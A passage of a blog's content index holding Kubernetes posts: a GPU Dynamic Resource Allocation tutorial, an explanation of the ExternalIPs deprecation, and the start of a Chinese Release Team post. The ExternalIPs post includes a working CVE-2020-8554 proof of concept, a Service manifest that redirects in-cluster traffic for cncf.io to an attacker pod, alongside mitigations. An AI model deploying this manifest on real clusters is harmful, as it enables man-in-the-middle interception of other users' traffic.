architecture: 74 string: Turing 75 brand: 76 string: Nvidia 77 cudaComputeCapability: 78 version: 7.5.0 79 cudaDriverVersion: 80 version: 13.0.0 81 driverVersion: 82 version: 580.126.20 83 productName: 84 string: Tesla T10 85 resource.kubernetes.io/pciBusID: 86 string: \u0026#34;0000:00:06.0\u0026#34; 87 resource.kubernetes.io/pcieRoot: 88 string: pci0000:00 89 type: 90 string: gpu 91 uuid: 92 string: GPU-dae084a2-974c-00e2-6dec-4ba1999b8652 93 capacity: 94 memory: 95 value: 16Gi 96 name: gpu-0 97 - attributes: 98 addressingMode: 99 string: HMM 100 architecture: 101 string: Turing 102 brand: 103 string: Nvidia 104 cudaComputeCapability: 105 version: 7.5.0 106 cudaDriverVersion: 107 version: 13.0.0 108 driverVersion: 109 version: 580.126.20 110 productName: 111 string: Tesla T10 112 resource.kubernetes.io/pciBusID: 113 string: \u0026#34;0000:00:07.0\u0026#34; 114 resource.kubernetes.io/pcieRoot: 115 string: pci0000:00 116 type: 117 string: gpu 118 uuid: 119 string: GPU-d1bf2033-42f6-096c-b0c6-470575bc08df 120 capacity: 121 memory: 122 value: 16Gi 123 name: gpu-1 124 driver: gpu.nvidia.com 125 nodeName: capi-dralabs-md-gput10-gzl84-f2m2d 126 pool: 127 generation: 1 128 name: capi-dralabs-md-gput10-gzl84-f2m2d 129 resourceSliceCount: 1 130kind: List 131metadata: 132 resourceVersion: \u0026#34;\u0026#34; With this information, how does a Pod tell Kubernetes which devices it wants? That\u0026rsquo;s where ResourceClaim and ResourceClaimTemplate come in!\nResourceClaim \u0026amp; ResourceClaimTemplate # If you\u0026rsquo;d like multiple Pods to share the same device, you can manually create a ResourceClaim. It stays fully independent regardless of Pod creation or deletion.\nResourceClaim diagram What if you want each Pod to have its own dedicated device? ResourceClaimTemplate lets you predefine a ResourceClaim. Once a Deployment references the template by name, every new Pod automatically gets a corresponding ResourceClaim; conversely, deleting the Pod removes its claim.\nResourceClaimTemplate diagram Do these concepts feel familiar? DRA is modeled after Storage in Kubernetes — PersistentVolumeClaim and PersistentVolumeClaimTemplate (the latter only existing inside StatefulSet), with DeviceClass playing roughly the role of StorageClass.\nHands-On with DRA # Scenario I: Two Containers Sharing One GPU # Use a ResourceClaim to declare that we need one NVIDIA GPU, then run a Pod with two containers that share it.\nlab01-rc.yaml 1apiVersion: resource.k8s.io/v1 2kind: ResourceClaim 3metadata: 4 name: must-nvidia-gpu 5spec: 6 devices: 7 requests: 8 - name: gpu 9 exactly: 10 deviceClassName: gpu.nvidia.com 11 count: 1 Apply the resource:\nkubectl apply -f lab01-rc.yaml Use get to inspect the ResourceClaim:\nkubectl get resourceclaim The status is pending because no Pod is consuming it yet.\nNAME STATE AGE must-nvidia-gpu pending 10s Now define a Pod with two containers, both referencing the must-nvidia-gpu ResourceClaim we just created.\nlab01-pod.yaml 1apiVersion: v1 2kind: Pod 3metadata: 4 name: must-nvidia-gpu-pod 5spec: 6 restartPolicy: Never 7 containers: 8 - name: ctr0 9 image: ubuntu:24.04 10 command: [\u0026#34;bash\u0026#34;, \u0026#34;-c\u0026#34;] 11 args: [\u0026#34;nvidia-smi -L; trap \u0026#39;exit 0\u0026#39; TERM; sleep 9999 \u0026amp; wait\u0026#34;] 12 resources: 13 claims: 14 - name: gpu 15 - name: ctr1 16 image: ubuntu:24.04 17 command: [\u0026#34;bash\u0026#34;, \u0026#34;-c\u0026#34;] 18 args: [\u0026#34;nvidia-smi -L; trap \u0026#39;exit 0\u0026#39; TERM; sleep 9999 \u0026amp; wait\u0026#34;] 19 resources: 20 claims: 21 - name: gpu 22 resourceClaims: 23 - name: gpu 24 resourceClaimName: must-nvidia-gpu Apply the Pod:\nkubectl apply -f lab01-pod.yaml Check the ResourceClaim again:\nkubectl get resourceclaim The status changes to allocated and reserved because a Pod is now using the resource.\nNAME STATE AGE must-nvidia-gpu allocated,reserved 16s Now we can use logs to print the output:\nkubectl logs pod must-nvidia-gpu-pod --all-containers --prefix [pod/must-nvidia-gpu-pod/ctr0] GPU 0: Tesla T10 (UUID: GPU-dae084a2-974c-00e2-6dec-4ba1999b8652) [pod/must-nvidia-gpu-pod/ctr1] GPU 0: Tesla T10 (UUID: GPU-dae084a2-974c-00e2-6dec-4ba1999b8652) In practice, it might not be a T10 — it could just as easily be an A5000.\nNow delete the Pod:\nkubectl delete -f lab01-pod.yaml Check the ResourceClaim once more:\nkubectl get resourceclaim The status returns to pending because no Pod is using the resource anymore.\nNAME STATE AGE must-nvidia-gpu pending 3m39s Delete the ResourceClaim:\nkubectl delete -f lab01-rc.yaml The example above only asked for one GPU but didn\u0026rsquo;t tell us which one we\u0026rsquo;d get.\nThis scenario isn\u0026rsquo;t all that different from the original Device Plugin, right? The next scenarios are where DRA truly shines!\nScenario II: ResourceClaimTemplate — Prefer A5000 in a Deployment # Today, an engineer asks me for an inference model that prefers the A5000, but since A5000s are scarce, they\u0026rsquo;re fine falling back to T10 when scaling up.\nBeyond exactly, ResourceClaim also supports firstAvailable for ranked preferences. Going back to the full ResourceSlice output, we can target GPUs by name using .attributes.productName.\nThe configuration looks like this:\nlab02.yaml 1apiVersion: resource.k8s.io/v1 2kind: ResourceClaimTemplate 3metadata: 4 name: first-a5000 5spec: 6 spec: 7 devices: 8 requests: 9 - name: gpu 10 firstAvailable: 11 - name: a5000 12 deviceClassName: gpu.nvidia.com 13 selectors: 14 - cel: 15 expression: device.attributes[\u0026#34;gpu.nvidia.com\u0026#34;].productName == \u0026#34;NVIDIA RTX A5000\u0026#34; 16 - name: fallback-t10 17 deviceClassName: gpu.nvidia.com 18 selectors: 19 - cel: 20 expression: device.attributes[\u0026#34;gpu.nvidia.com\u0026#34;].productName == \u0026#34;Tesla T10\u0026#34; 21--- 22apiVersion: apps/v1 23kind: Deployment 24metadata: 25 name: first-a5000-deploy 26 labels: 27 app: first-a5000-deploy 28spec: 29 replicas: 1 30 selector: 31 matchLabels: 32 app: first-a5000-deploy 33 template: 34 metadata: 35 labels: 36 app: first-a5000-deploy 37 spec: 38 containers: 39 - name: ctr0 40 image: ubuntu:24.04 41 command: [\u0026#34;bash\u0026#34;, \u0026#34;-c\u0026#34;] 42 args: [\u0026#34;nvidia-smi -L; trap \u0026#39;exit 0\u0026#39; TERM; sleep 9999 \u0026amp; wait\u0026#34;] 43 resources: 44 claims: 45 - name: gpu 46 resourceClaims: 47 - name: gpu 48 resourceClaimTemplateName: first-a5000 Save the above as lab02.yaml and apply it:\nkubectl apply -f lab02.yaml Confirm the Pod is Running and use the nvidia-smi -L output to verify it got the A5000:\nkubectl get pod kubectl logs deployments/first-a5000-deploy --all-pods NAME READY STATUS RESTARTS AGE first-a5000-deploy-8c6cf4568-2lsv9 1/1 Running 0 9s [pod/first-a5000-deploy-8c6cf4568-2lsv9/ctr0] GPU 0: NVIDIA RTX A5000 (UUID: GPU-e13ce856-7474-797f-d143-16e99b65c0c3) Now scale up to 2 replicas to see which GPU the new Pod gets:\nkubectl scale deployment first-a5000-deploy --replicas 2 kubectl logs deployments/first-a5000-deploy --all-pods [pod/first-a5000-deploy-8c6cf4568-2lsv9/ctr0] GPU 0: NVIDIA RTX A5000 (UUID: GPU-e13ce856-7474-797f-d143-16e99b65c0c3) [pod/first-a5000-deploy-8c6cf4568-865jj/ctr0] GPU 0: Tesla T10 (UUID: GPU-dae084a2-974c-00e2-6dec-4ba1999b8652) The first Pod has taken the only A5000, so the second Pod falls back to T10 — exactly the expected behavior of firstAvailable when the top choice is unavailable.\nWe can also see the corresponding ResourceClaims:\nkubectl get resourceclaim NAME STATE AGE first-a5000-deploy-8c6cf4568-2lsv9-gpu-bdz9j allocated,reserved 4m29s first-a5000-deploy-8c6cf4568-865jj-gpu-mqfcx allocated,reserved 3m29s If we delete the A5000 Pod, will the rebuilt Pod return to A5000? With the configuration above, no, it won\u0026rsquo;t return to A5000. The Deployment default strategy.type is RollingUpdate; while the old Pod is Terminating, its ResourceClaim hasn\u0026rsquo;t been released yet.\nThe Deployment controller immediately creates a new Pod and a new ResourceClaim from the ResourceClaimTemplate. Since the A5000 is still held by the old Pod, the new claim falls back to T10.\nFinally, clean up:\nkubectl delete -f lab02.yaml Scenario III: GPUs With at Least 20 GiB of Memory # Today an engineer wants to deploy an LLM that needs a single GPU with at least 20 GiB of memory. Since it\u0026rsquo;s still in testing, compute requirements are flexible — any available GPU meeting the memory threshold will do.\nBeyond .attributes, we can also use .capacity.memory. How do we express comparison rules? Take a look at line 15:\nlab03.yaml 1apiVersion: resource.k8s.io/v1 2kind: ResourceClaimTemplate 3metadata: 4 name: gt20g 5spec: 6 spec: 7 devices: 8 requests: 9 - name: gpu 10 firstAvailable: 11 - name: gt20g 12 deviceClassName: gpu.nvidia.com 13 selectors: 14 - cel: 15 expression: device.capacity[\u0026#34;gpu.nvidia.com\u0026#34;].memory.isGreaterThan(quantity(\u0026#34;20Gi\u0026#34;)) 16--- 17apiVersion: apps/v1 18kind: Deployment 19metadata: 20 name: gt20g-deploy 21 labels: 22 app: gt20g-deploy 23spec: 24 replicas: 1 25 selector: 26 matchLabels: 27 app: gt20g-deploy 28 template: 29 metadata: 30 labels: 31 app: gt20g-deploy 32 spec: 33 containers: 34 - name: ctr0 35 image: ubuntu:24.04 36 command: [\u0026#34;bash\u0026#34;, \u0026#34;-c\u0026#34;] 37 args: [\u0026#34;nvidia-smi -L; trap \u0026#39;exit 0\u0026#39; TERM; sleep 9999 \u0026amp; wait\u0026#34;] 38 resources: 39 claims: 40 - name: gpu 41 resourceClaims: 42 - name: gpu 43 resourceClaimTemplateName: gt20g We use CEL\u0026rsquo;s isGreaterThan(quantity(\u0026quot;20Gi\u0026quot;)) to require more than 20 GiB.\nApply the YAML:\nkubectl apply -f lab03.yaml Confirm the Pod is Running and that we got the A5000:\nkubectl get pod kubectl logs deployments/gt20g-deploy --all-pods NAME READY STATUS RESTARTS AGE gt20g-deploy-5ff576476-hdz8f 1/1 Running 0 5m16s [pod/gt20g-deploy-5ff576476-hdz8f/ctr0] GPU 0: NVIDIA RTX A5000 (UUID: GPU-e13ce856-7474-797f-d143-16e99b65c0c3) Now let\u0026rsquo;s see what happens when we scale up:\nkubectl scale deployment gt20g-deploy --replicas 2 After scaling, check whether a new Pod was added:\nkubectl get pod NAME READY STATUS RESTARTS AGE gt20g-deploy-5ff576476-hdz8f 1/1 Running 0 8m9s gt20g-deploy-5ff576476-vjss8 0/1 Pending 0 26s Run describe on the gt20g-deploy-5ff576476-vjss8 Pod:\nkubectl describe pod gt20g-deploy-5ff576476-vjss8 Events: Type Reason Age From Message ---- ------ ---- ---- ------- Warning FailedScheduling 98s default-scheduler 0/4 nodes are available: 1 node(s) had untolerated taint(s), 3 cannot allocate all claims. still not schedulable, preemption: 0/4 nodes are available: 4 Preemption is not helpful for scheduling. Since there\u0026rsquo;s no other GPU with at least 20 GiB of memory in the cluster — the T10 has only 16 GiB — the new Pod is stuck in Pending.\nClean up the resources:\nkubectl delete -f lab03.yaml For more sophisticated matching logic, see CEL in Kubernetes.\nScenario IV: GPU Time Slicing in DRA # Warning As of 2026/5/10, neither the NVIDIA official documentation nor the NVIDIA DRA Driver GPU wiki contains any tutorial on Time Slicing.\nThe configuration below is adapted from demo/specs/quickstart/v1/gpu-test5.yaml, supplemented by reading parts of the source code; the Feature Gate part draws from third-party articles.\nThe setup may change in future releases — keep that in mind!\nToday, an engineer comes back to me asking: \u0026ldquo;I know DRA is great for resource allocation, but is there a way to fall back to Time Slicing mode?\u0026rdquo;\nWant to go back to the old mode? Nooo\u0026hellip; problem at all!\nJust specify the device under .spec.devices.config and switch the sharing strategy to TimeSlicing. Here\u0026rsquo;s an example:\nlab04.yaml 1apiVersion: resource.k8s.io/v1 2kind: ResourceClaim 3metadata: 4 name: time-slicing-manual 5spec: 6 devices: 7 requests: 8 - name: ts-gpu 9 exactly: 10 deviceClassName: gpu.nvidia.com 11 config: 12 - requests: [\u0026#34;ts-gpu\u0026#34;] 13 opaque: 14 driver: gpu.nvidia.com 15 parameters: 16 apiVersion: resource.nvidia.com/v1beta1 17 kind: GpuConfig 18 sharing: 19 strategy: TimeSlicing 20 timeSlicingConfig: 21 interval: Long 22--- 23apiVersion: apps/v1 24kind: Deployment 25metadata: 26 name: ts-gpu-deployment 27spec: 28 replicas: 4 29 selector: 30 matchLabels: 31 app: ts-gpu 32 template: 33 metadata: 34 labels: 35 app: ts-gpu 36 spec: 37 containers: 38 - name: ctr 39 image: nvcr.io/nvidia/k8s/cuda-sample:nbody-cuda11.6.0-ubuntu18.04 40 command: [\u0026#34;bash\u0026#34;, \u0026#34;-c\u0026#34;] 41 args: [\u0026#34;trap \u0026#39;exit 0\u0026#39; TERM; /tmp/sample --benchmark --numbodies=4226000 \u0026amp; wait\u0026#34;] 42 resources: 43 claims: 44 - name: gpu 45 resourceClaims: 46 - name: gpu 47 resourceClaimName: time-slicing-manual Save the above as lab04.yaml and apply it:\nkubectl apply -f lab04.yaml Verify all the Pods are running:\nkubectl get pod NAME READY STATUS RESTARTS AGE ts-gpu-deployment-549c945798-6t2dx 1/1 Running 0 4s ts-gpu-deployment-549c945798-tlgp4 1/1 Running 0 4s ts-gpu-deployment-549c945798-x2gbv 1/1 Running 0 4s ts-gpu-deployment-549c945798-xbv22 1/1 Running 0 4s Since all 4 Pods share the same ResourceClaim, kubectl get resourceclaim returns only a single entry — which itself is evidence that they\u0026rsquo;re sharing:\nkubectl get resourceclaim NAME STATE AGE time-slicing-manual allocated,reserved 30s Drill in with describe and you\u0026rsquo;ll see all 4 Pods listed under Reserved For:\nkubectl describe resourceclaim time-slicing-manual Status: Allocation: Devices: Config: Opaque: Driver: gpu.nvidia.com Parameters: API Version: resource.nvidia.com/v1beta1 Kind: GpuConfig Sharing: Strategy: TimeSlicing Time Slicing Config: Interval: Long Requests: ts-gpu Source: FromClaim Results: Device: gpu-0 Driver: gpu.nvidia.com Pool: capi-dralabs-md-gpua5000-jw4mx-d64jz Request: ts-gpu Node Selector: Node Selector Terms: Match Fields: Key: metadata.name Operator: In Values: capi-dralabs-md-gpua5000-jw4mx-d64jz Reserved For: Name: ts-gpu-deployment-549c945798-x2gbv Resource: pods UID: be21eecf-2d58-4891-9cac-ac3674f4ff09 Name: ts-gpu-deployment-549c945798-6t2dx Resource: pods UID: 37d504a0-966e-4263-9fcd-b713d73c0e77 Name: ts-gpu-deployment-549c945798-xbv22 Resource: pods UID: 2b5ec297-9889-4cb9-8079-b626a854b292 Name: ts-gpu-deployment-549c945798-tlgp4 Resource: pods UID: ee836856-8c6b-4161-9582-4bc4ff63a606 That\u0026rsquo;s how Time Slicing is enabled under DRA — the effect is similar to the legacy Device Plugin\u0026rsquo;s Time Slicing mode, except we don\u0026rsquo;t need to specify how many slices to divide into. We just configure timeSlicingConfig and its interval.\nFinally, clean up the resources:\nkubectl delete -f lab04.yaml Summary # Compared to the Device Plugin, DRA now offers a much cleaner usage model that lets developers and cluster admins allocate devices more precisely. There\u0026rsquo;s no longer a need to colocate the same kind of device on the same node, nor to write complex rules in nodeSelector or Affinity.\nStarting with K8s v1.36, device health reporting is also available, so Pods no longer simply show Error — we can tell whether the failure stems from the device or from the application.\nPreviously, when a K8s cluster ran low on CPU or memory, Cluster Autoscaler could spin up new machines. In the future, the same may apply to GPU shortages — Cluster Autoscaler may provision GPU nodes on demand, enabling more efficient resource allocation.\nClosing Thoughts # A couple of years ago I bought an A5000 for some testing needs and parked it at Infra Labs, but it felt like a waste that the card sat there with no further experiments — and being too busy, it kept on collecting dust and consuming power in the machine room.\nWhen dra-driver-nvidia-gpu made it into Kubernetes SIGs, I remembered that the lab also has two T10 cards available, which became the catalyst for this lab.\nI\u0026rsquo;ve also been watching the rise of various AI Gateways, plus the Gateway API extension — Gateway API Inference Extension. I\u0026rsquo;ll write about those some other time!\n","date":"10 May 2026","externalUrl":null,"permalink":"/en/posts/dra-nvidia-gpu-overview/","section":"Posts","summary":"Dynamic Resource Allocation (DRA) recently reached GA in Kubernetes v1.35, and I believe many of us are eager to give it a try. Adding to the momentum, NVIDIA has moved dra-driver-nvidia-gpu into Kubernetes SIGs, with the documentation dropping the Beta label — a sign that the technology and its standards are gradually maturing.\nFor this post, I borrowed all the NVIDIA GPUs currently available at CNTUG Infra Labs to learn how to elegantly allocate devices and resources with DRA.\n","title":"Understanding dynamic resource allocation in Kubernetes","type":"posts"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/en/tags/externalip/","section":"Tags","summary":"","title":"Externalip","type":"tags"},{"content":"ExternalIPs has been part of Kubernetes Service since v1.0. After 11 years, SIG Network has decided to deprecate it starting from v1.36, with plans to lock the feature after v1.43. What happened?\nLet\u0026rsquo;s walk through \u0026ldquo;KEP-5707: Deprecate Service.spec.externalIPs\u0026rdquo; together!\nNote This post was written on 2026/4/18 and is based on this commit.\nWhat is ExternalIPs? # Before diving into KEP-5707, let\u0026rsquo;s understand what the ExternalIPs field does.\nWhen a Service is created, it is assigned an Internal IP by default. Pods matching the selector labels will have traffic load-balanced to them.\nHowever, Internal IPs are only accessible within the cluster. How do you handle external traffic coming in? On public cloud Kubernetes, you simply set type: LoadBalancer and let the cloud provider handle the rest. But on private clouds without Cloud Provider support, besides type: NodePort, you\u0026rsquo;re left to handle routing through your own routers or firewalls.\nMoreover, back in 2015 when this was implemented, projects like MetalLB or Cilium didn\u0026rsquo;t exist yet. How would you specify an external IP? The answer was to let users \u0026ldquo;manually\u0026rdquo; specify an External IP.\nExternalIP Service usage diagram The design of ExternalIPs is straightforward: fill in an IP in the Service\u0026rsquo;s .spec, and kube-proxy will create iptables / IPVS rules on every node to forward traffic destined for that IP to the corresponding Service endpoints, saving the round trip to external networks.\napiVersion: v1 kind: Pod metadata: name: my-app labels: app: my-app spec: containers: - name: http-echo image: hashicorp/http-echo:latest args: - \u0026#34;-listen=:8080\u0026#34; - \u0026#34;-text=hello from my-app\u0026#34; ports: - containerPort: 8080 --- apiVersion: v1 kind: Service metadata: name: my-service spec: selector: app: my-app ports: - port: 80 targetPort: 8080 externalIPs: - 203.0.113.10 In other words, when a node receives a packet destined for 203.0.113.10, kube-proxy will forward the traffic to the backend Pod via iptables rules. Here is the implementation in kube-proxy that creates the forwarding rules for External IPs:\n// Capture externalIPs. for _, externalIP := range svcInfo.ExternalIPs() { if hasEndpoints { // Send traffic bound for external IPs to the \u0026#34;external // destinations\u0026#34; chain. natRules.Write( \u0026#34;-A\u0026#34;, string(kubeServicesChain), \u0026#34;-m\u0026#34;, \u0026#34;comment\u0026#34;, \u0026#34;--comment\u0026#34;, fmt.Sprintf(`\u0026#34;%s external IP\u0026#34;`, svcPortNameString), \u0026#34;-m\u0026#34;, protocol, \u0026#34;-p\u0026#34;, protocol, \u0026#34;-d\u0026#34;, externalIP.String(), \u0026#34;--dport\u0026#34;, strconv.Itoa(svcInfo.Port()), \u0026#34;-j\u0026#34;, string(externalTrafficChain)) } if !hasExternalEndpoints { // Either no endpoints at all (REJECT) or no endpoints for // external traffic (DROP anything that didn\u0026#39;t get // short-circuited by the EXT chain.) filterRules.Write( \u0026#34;-A\u0026#34;, string(kubeExternalServicesChain), \u0026#34;-m\u0026#34;, \u0026#34;comment\u0026#34;, \u0026#34;--comment\u0026#34;, externalTrafficFilterComment, \u0026#34;-m\u0026#34;, protocol, \u0026#34;-p\u0026#34;, protocol, \u0026#34;-d\u0026#34;, externalIP.String(), \u0026#34;--dport\u0026#34;, strconv.Itoa(svcInfo.Port()), \u0026#34;-j\u0026#34;, externalTrafficFilterTarget, ) } } Source: Kubernetes v1.35.4 iptables implementation\nAfter deploying the Service above, you can see the iptables rules generated by kube-proxy on the node:\n$ docker exec -it externalips-lab-worker iptables -t nat -S | grep \u0026#34;external IP\u0026#34; -A KUBE-SERVICES -d 203.0.113.10/32 -p tcp -m comment --comment \u0026#34;default/my-service external IP\u0026#34; -m tcp --dport 80 -j KUBE-EXT-FXIYY6OHUSNBITIX TCP packets destined for 203.0.113.10:80 are directed to the KUBE-EXT-* chain, which ultimately DNATs to the Pod IP.\nHowever, Kubernetes itself is not responsible for making this IP routable to the node. How the external IP reaches the node is entirely the user\u0026rsquo;s responsibility.\nThe design seemed reasonable at the time, but a hidden danger was lurking — CVE-2020-8554.\nCVE-2020-8554 # 2019/12/27 champtar reported the issue 2020/01/09 Confirmed as a valid vulnerability 2020/03/03 Assigned CVE-2020-8554 2020/12/05 Issue#97076 updated 2020/12/07 PoC details published Although Kubernetes officially disclosed CVE-2020-8554 on 2020/12/05 in Issue#97076, as of this writing, the issue remains open. This means the vulnerability still exists in current versions and has not been fixed.\nThe design scenario described in the previous section assumes that you own the IP you\u0026rsquo;re assigning. But what if someone sets an IP that doesn\u0026rsquo;t belong to the infrastructure — say, the CNCF website\u0026rsquo;s IP? Things get very weird.\nIn the following example, I create an nginx Pod and a my-evil-service Service, setting the externalIPs to CNCF\u0026rsquo;s website IP.\nThis experiment is adapted from a GitHub Issue#97076 comment.\napiVersion: v1 kind: Pod metadata: labels: run: nginx name: nginx spec: containers: - image: nginx:1.29.8-alpine name: nginx ports: - containerPort: 80 protocol: TCP --- apiVersion: v1 kind: Service metadata: name: my-evil-service spec: selector: run: nginx type: LoadBalancer ports: - name: http protocol: TCP port: 80 targetPort: 80 externalIPs: - 23.185.0.3 # cncf.io As mentioned earlier, Kubernetes does not send ARP responses or BGP announcements for External IPs, and there is absolutely no validation mechanism. kube-proxy simply creates the iptables rules, redirecting internal traffic destined for cncf.io or 23.185.0.3 to my nginx Pod.\nTraffic originally intended for the CNCF website gets hijacked by anyone with permission to create a Service.\n$ kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://cncf.io HTTP/1.1 200 OK Server: nginx/1.29.8 Date: Sat, 18 Apr 2026 10:27:22 GMT CVE-2020-8554 diagram How to mitigate this? There is no patch for this issue, and no upgrade can fix it. The only option is to restrict the field usage through admission webhooks, which led to the k-sigs/externalip-webhook subproject.\nLater, starting from v1.21, kube-apiserver includes a built-in DenyServiceExternalIPs admission webhook. However, it is disabled by default and requires the --enable-admission-plugins flag to enable.\nIf you\u0026rsquo;re using the Kyverno project, you can use the Restrict External IPs policy.\nAlternatives # ARP (Layer 2) or BGP (Layer 3) # There are now many projects that implement ARP and BGP. Notable CNCF projects include MetalLB and Cilium.\nCilium LB IPAM allows you to use the lbipam.cilium.io/ips annotation to specify preferred IPs.\napiVersion: v1 kind: Service metadata: name: service-blue annotations: \u0026#34;lbipam.cilium.io/ips\u0026#34;: \u0026#34;20.0.10.100,20.0.10.200\u0026#34; spec: type: LoadBalancer ports: - port: 1234 The MetalLB Usage page explains how to use the metallb.io/loadBalancerIPs annotation.\napiVersion: v1 kind: Service metadata: name: nginx annotations: metallb.io/loadBalancerIPs: 192.168.1.100 spec: ports: - port: 80 targetPort: 80 selector: app: nginx type: LoadBalancer The YAML examples above simply show how operators can reference annotations to assign IPs. Detailed configuration is beyond the scope of this post — refer to the official documentation.\nGateway API # Each cloud provider and CNCF project has its own implementation, so consult their documentation for details.\nIf you\u0026rsquo;re using Cilium Gateway API, you can directly use .spec.addresses to specify IPs.\napiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: my-gateway spec: gatewayClassName: cilium addresses: - type: IPAddress value: 192.168.1.100 listeners: - name: http protocol: HTTP port: 80 For cases like Istio, which isn\u0026rsquo;t directly tied to a CNI, you can use .spec.infrastructure.annotations to pass annotations to the underlying Service, letting MetalLB or Cilium assign the preferred IP.\napiVersion: gateway.networking.k8s.io/v1 kind: Gateway spec: gatewayClassName: istio infrastructure: annotations: lbipam.cilium.io/ips: \u0026#34;192.168.1.100\u0026#34; listeners: - name: http protocol: HTTP port: 80 Deprecation Timeline # v1.36 announces deprecation. kube-proxy adds the AllowServiceExternalIPs feature gate, defaulting to true. Set it to false to disable ExternalIPs. v1.40 onwards: AllowServiceExternalIPs defaults to false. v1.43 onwards: AllowServiceExternalIPs feature gate is locked. v1.46 onwards: all related implementations are removed (AllowServiceExternalIPs feature gate and DenyServiceExternalIPs admission controller). Afterword # In hindsight, the ExternalIPs design clearly has vulnerabilities. But back in 2015, the Cloud Native ecosystem was just getting started — there was no MetalLB, no Gateway API. On private clouds, if you wanted external traffic to reach your services, your only options besides NodePort were to figure it out yourself. Letting users directly specify an IP was the most intuitive approach at the time.\nTim Hockin, who filed the original proposal, has also acknowledged that .spec.externalIPs was a poor design. However, Kubernetes has always prioritized stability and avoiding breaking changes — even when problems are known, existing fields aren\u0026rsquo;t removed lightly.\nIt wasn\u0026rsquo;t until 2026, with the CNCF ecosystem maturing and viable alternatives in place, that ExternalIPs went from being \u0026ldquo;the only option\u0026rdquo; to \u0026ldquo;a legacy design with security risks\u0026rdquo; — finally making deprecation feasible.\nReference # CVE-2020-8554: Man in the middle using LoadBalancer or ExternalIPs Kubernetes man in the middle using LoadBalancer or ExternalIPs (CVE-2020-8554) ","date":"18 April 2026","externalUrl":null,"permalink":"/en/posts/externalips-deprecated/","section":"Posts","summary":"ExternalIPs has been part of Kubernetes Service since v1.0. After 11 years, SIG Network has decided to deprecate it starting from v1.36, with plans to lock the feature after v1.43. What happened?\n","title":"ExternalIPs Deprecated? From Design to Vulnerability to KEP-5707","type":"posts"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/en/tags/service/","section":"Tags","summary":"","title":"Service","type":"tags"},{"content":"","date":"2026/04/15","externalUrl":null,"permalink":"/categories/experience/","section":"Categories","summary":"","title":"Experience","type":"categories"},{"content":"Kubernetes v1.35 終於 release 了，不過你有想過大型專案 Kubernetes 每一個版本背後，都有人在盯著「訊號」是否開始失真嗎？ Release Signal 在做什麼？每天到底在看什麼？\n這篇文章記錄我從 Shadow 走進 Kubernetes Release Team，成為 sub-team lead 的心路歷程，實際參與版本節奏、code freeze、RC 前後的真實日常。\nKubernetes v1.35: Timbernetes 世界樹 為何會加入 Release Team？ # 當初是在 Kubernetes 社群和 LinkedIn 裡面閒逛，偶然就滑到別人在貼 Kubernetes Release Team 徵 shadow，有看到 v1.30 的訊息，但個人評估是沒有時間就先 skip 掉，直到 v1.31 嘗試申請。\nLinkedIn 貼文：宣傳 Kubernetes v1.35 Release Team Shadow Application 台灣社群身邊的人似乎也沒人聽過 Release Team，FB 沒人分享這類型訊息，也是我額外的學習機會。另外，這會跟隨最新版本的釋出，會比別人先知道許多訊息，儘管內容 (e.g. KEP 等) 是公開的，但不是每個人都會去翻找。\n仔細閱讀 handbook 後，就可以準備一下申請內容送出了。我自己因為是 SRE 職位的關係，看起來跟 CI 有關的就是 Release Signal，我也想藉機會學習 Kubernetes 的測試是如何進行，即使身處小公司，依然可以對外尋求資源，幫助自己拓展視野。\n申請之後，就等待吧！我個人不偏好去跟 Lead 做「刷存在感」這類事，shadow 的決定還有很多因素影響，關於這點我放到後面段落解釋。\n當時，很幸運被選中成為 Kubernetes v1.32 Release Signal 的 shadow，於是就開始協助這幾次版本發佈。\nv1.32 Release Signal 的第一則訊息 Release Team 在做什麼？ # Release Team 主要是負責新版的發佈工作，目前有四個組別在招募 shadow，基本上不用先備知識，分別是：\nEnhancements Release Signal Documentation Communications Release Lead 也有徵 shadow，不過需要先當過上述任一組的 lead 才有資格申請。Branch Management (BM) 是由 SIG Release 管理，基本上要參與過 Release Team 才能成為 BM shadow。\nEnhancements 負責整理新版 Kubernetes 的改善功能，同時也是 SIG Architecture 的子專案 Enhancement 聯絡人，需要維護 kubernetes/enhancements 專案和協助 KEP owner 和 SIG lead 之間溝通。後續要協助 Communications 組起稿和審閱 blog 文章。\nRelease Signal 主要觀察 SIG Release 的新版 dashboard，開發期間的 PR 只會執行較短時間的測試，需要長時間的 E2E 測試就會放到背景中定期啟動。如果有發現 failing test 和 flaking test，就要回報並提醒對應的 SIG 組別。定期跟 BM 回報是否能發版。同時負責追蹤 bug triage。\nDocumentation 處理新版的 Kubernetes 文件，相關內容都會在 kubernetes/website 的 dev-v1.y 分支中，定期與 SIG Docs 日常會議，負責 Release Note 的整理工作。\nCommunications 主要是對外的公關，前期雖然工作內容較少，但後期需要寫許多 Kubernetes blog 的文章，包含中期的 Deprecations and Removals、Release blog、該版本的功能 blog 後續發佈。代表 Release Team 跟 CNCF 安排新聞發佈和舉辦網路研討會。\nRelease Signal 的日常工作 # 以下是我在 Release Signal 的工作內容需要做的事情：\n監控 master-blocking 和 master-informing 儀表板 尋找 Failing Test 和 Flaking Test 給 Branch Management 切版訊號 Go / No-Go Bug Triage 回報 Release Team 同步會議更新 1. 監控 master-blocking 和 master-informing 儀表板 # 使用 TestGrid 去看 Kubernetes 的 CI 狀況，不過 TestGrid 不會只有 Kubernetes 的測試，還有其他 SIG 子專案和 CNCF Project (e.g. Istio、Cert Manager 等)。\nTestGrid 首頁 我們是 SIG Release 的 Release Team，主要關心就會是 SIG Release 的儀表板，點進去後會有其他的子儀表板，分別有 master-blocking 和 master-informing 還有各版本的 blocking 和 informing，以及其他 Release Engineering 的儀表板。\nTestGrid 的 SIG Release 頁面 Release Team 主要負責新版本的發佈，所以只需要關心 master-blocking 和 master-informing 的儀表板即可。\nmaster-blocking 的儀表板 master-informing 的儀表板 RC 切版後，會多出 release-1.y 分支，同時也會多出 1.y-blocking 和 1.y-informing 的儀表板，到正式版本發佈以前需要額外監控這兩個儀表板。\nBlocking 和 Informing 差異主要是緊急和重要程度，放在 Blocking 的 job 通常都很緊急、重要，出現錯誤要跟 SIG 確認是否會阻礙發佈或修正，其他 job 很重要但不需要緊急處理（或測試頻率較低）就會放到 Informing。\n如果想了解詳細內容，可以去看 Release Blocking 的判斷標準，雖然不是 Release Signal 先備知識，但可以理解前因後果。\n2. 尋找 Failing Test 和 Flaking Test # 我們需要尋找兩個性質的錯誤：持續性錯誤 